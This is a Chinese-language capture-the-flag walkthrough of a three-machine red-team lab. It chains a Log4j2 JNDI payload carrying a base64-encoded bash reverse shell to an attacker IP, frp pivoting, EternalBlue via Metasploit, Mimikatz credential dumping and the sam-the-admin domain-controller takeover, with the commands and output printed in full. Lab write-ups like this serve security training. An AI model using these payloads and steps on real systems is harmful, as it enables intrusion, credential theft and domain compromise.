参考文章https://mp.weixin.qq.com/s/UAeOtOwigsB45hcjYEGh9g
本靶场由3台虚拟机构成
主机 | 网卡 | ip地址 | 角色 |
---|---|---|---|
docker -log4j2 | ens33外网网卡(桥接)/ens38内网网卡 | 192.168.210.39/10.0.1.6 | webserver |
win7 | 本地连接1/本地连接2 | 10.0.1.7/10.0.0.7 | 域内个人主机 |
win2012r2 | 本地连接1 | 10.0.0.12 | 域控DC |
┌──(rootkali)-[~]
└─# nmap -A 192.168.210.39 -p-
发现ssh服务开放22端口 ,38080端口是http服务
本地kali搭建ldap服务器
工具链接https://github.com/zzwlpx/JNDIExploit
BP抓包,改为post传参并且构造payload
/bin/bash -i >& /dev/tcp/192.168.210.23/9999 0>&1 -反弹shell
payload=${jndi:ldap://192.168.210.23:1389/TomcatBypass/Command/Base64/L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjEwLjIzLzk5OTkgMD4mMQ==}
反弹shell命令需要进行base64编码
虽然拿到了root但是发现此刻我们在docker内
cat /proc/1/cgroup
在root家目录下发现flag1
根据flag1的提示我们得到了saul Saul123 这非常像一组账密
在信息收集中nmap扫到目标主机开放22ssh服务,因此思路可转向ssh
是否能够进行docker逃逸等后续研究
通过信息收集发现本台主机共有两块网卡
ens33:192.168.210.39 (外网网卡)
ens38:10.0.1.6 (内网网卡)
法一、
我们用 for
循环 ping
一下 ens38
的 C
段:
for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done
发现存活主机10.0.1.7
法二、
或者使用 scan info 工具进行内网信息收集
kali中使用python快速搭建httpd
靶机下载工具并赋予权限
进行内网信息收集
发现10.0.1.7存活并存在MS17-010
由于目标10.0.1.7在内网需要把流量代理出来
kali使用python快速搭建httpd
python3 -m http.server 8888
目标靶机下载frp
使用frp把目标靶机流量代理出来
kali端 frps
靶机端 frpc
msf设置Socks
msf6 > setg Proxies socks5:127.0.0.1:6005 ------设置socks5代理
Proxies => socks5:127.0.0.1:6005
msf6 > set ReverseAllowProxy true -----允许反向代理
ReverseAllowProxy => true
msf6 > use auxiliary/scanner/smb/smb_ms17_010 --辅助检测模块检测ms17-010
发现存在ms17-010
攻击设置
msf6 auxiliary(scanner/smb/smb_version) > search MS17-010
.....
msf6 auxiliary(scanner/smb/smb_version) > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.0.1.7
rhosts => 10.0.1.7
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
注意由于目标在内网,故而tcp反射连接不能使用 设置为payload正向bind_tcp!
加载猕猴桃 Mimikatz 先把密码抓出来:
meterpreter > load mimikatz 加载工具
meterpreter > creds_all 列出凭证
注意命令是从内存中抓取密码,靶场原始状态为暂停恢复即可,如果重启过需要登录一次win7
C:\Windows\system32>chcp 65001
chcp 65001
Active code page: 65001
C:\Windows\system32>cd /Users/root/desktop
cd /Users/root/desktop
C:\Users\root\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 9227-12B7
Directory of C:\Users\root\Desktop
2021/12/20 17:32 .
2021/12/20 17:32 ..
2021/12/20 17:33 19 flag.txt
1 File(s) 19 bytes
2 Dir(s) 30,754,717,696 bytes free
C:\Users\root\Desktop>type flag.txt
type flag.txt
flag{redteam.lab-2}
在桌面上发现第二个flag
ipconfig 发现第三层网络
net user /domain
ping dc
得到dc的ip为10.0.0.12
Microsoft Windows Active Directory 域服务权限提升漏洞(CVE-2021-42278、CVE-2021-42287)攻击者可利用该漏洞将域内的普通用户权限提升到域管理员权限,造成风险和危害极大。
meterpreter > background
[*] Backgrounding session 1...
后台运行session
代理模块添加socks5代理
配置路由
注意更改本地代理配置与msf中设置对应
vim /etc/proxychains4.conf
使用漏洞利用脚本
下载:https://github.com/WazeHell/sam-the-admin
注意此脚本需要一个域用户的账户+密码
──(rootkali)-[~/tools/exp漏洞利用/CVE-2021-42287+CVE-2021-42278/sam-the-admin-main]
└─# proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.15
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[proxychains] Strict chain ... 127.0.0.1:8888 ... 10.0.0.12:389 ... OK
[-] WARNING: Target host is not a DC
[*] Selected Target dc.redteam.lab
[*] Total Domain Admins 1
[*] will try to impersonate Administrator
[*] Current ms-DS-MachineAccountQuota = 10
[*] Adding Computer Account "SAMTHEADMIN-12$"
[*] MachineAccount "SAMTHEADMIN-12$" password = MQtyQic2&zvb
[proxychains] Strict chain ... 127.0.0.1:8888 ... 10.0.0.12:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:8888 ... 10.0.0.12:445 ... OK
[*] Successfully added machine account SAMTHEADMIN-12$ with password MQtyQic2&zvb.
[*] SAMTHEADMIN-12$ object = CN=SAMTHEADMIN-12,CN=Computers,DC=redteam,DC=lab
[*] SAMTHEADMIN-12$ sAMAccountName == dc
[proxychains] Strict chain ... 127.0.0.1:8888 ... 10.0.0.12:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:8888 ... 10.0.0.12:88 ... OK
[*] Saving ticket in dc.ccache
[*] Resting the machine account to SAMTHEADMIN-12$
[*] Restored SAMTHEADMIN-12$ sAMAccountName to original value
[*] Using TGT from cache
[*] Impersonating Administrator
[*] Requesting S4U2self
[proxychains] Strict chain ... 127.0.0.1:8888 ... 10.0.0.12:88 ... OK
[*] Saving ticket in Administrator.ccache
[proxychains] DLL init: proxychains-ng 4.15
[proxychains] DLL init: proxychains-ng 4.15
[proxychains] DLL init: proxychains-ng 4.15
[proxychains] DLL init: proxychains-ng 4.15
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[proxychains] Strict chain ... 127.0.0.1:8888 ... 10.0.0.12:445 ... OK
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>cd \Users\administrator\Desktop
[-] You can't CD under SMBEXEC. Use full paths.
C:\Windows\system32>type \Users\administrator\Desktop\flag.txt
flag{redteam.lab-3}
Congratulations, the challenge is successful!
by: saulGoodman
桌面上拿到flag3,通关!
flag{redteam.lab-3}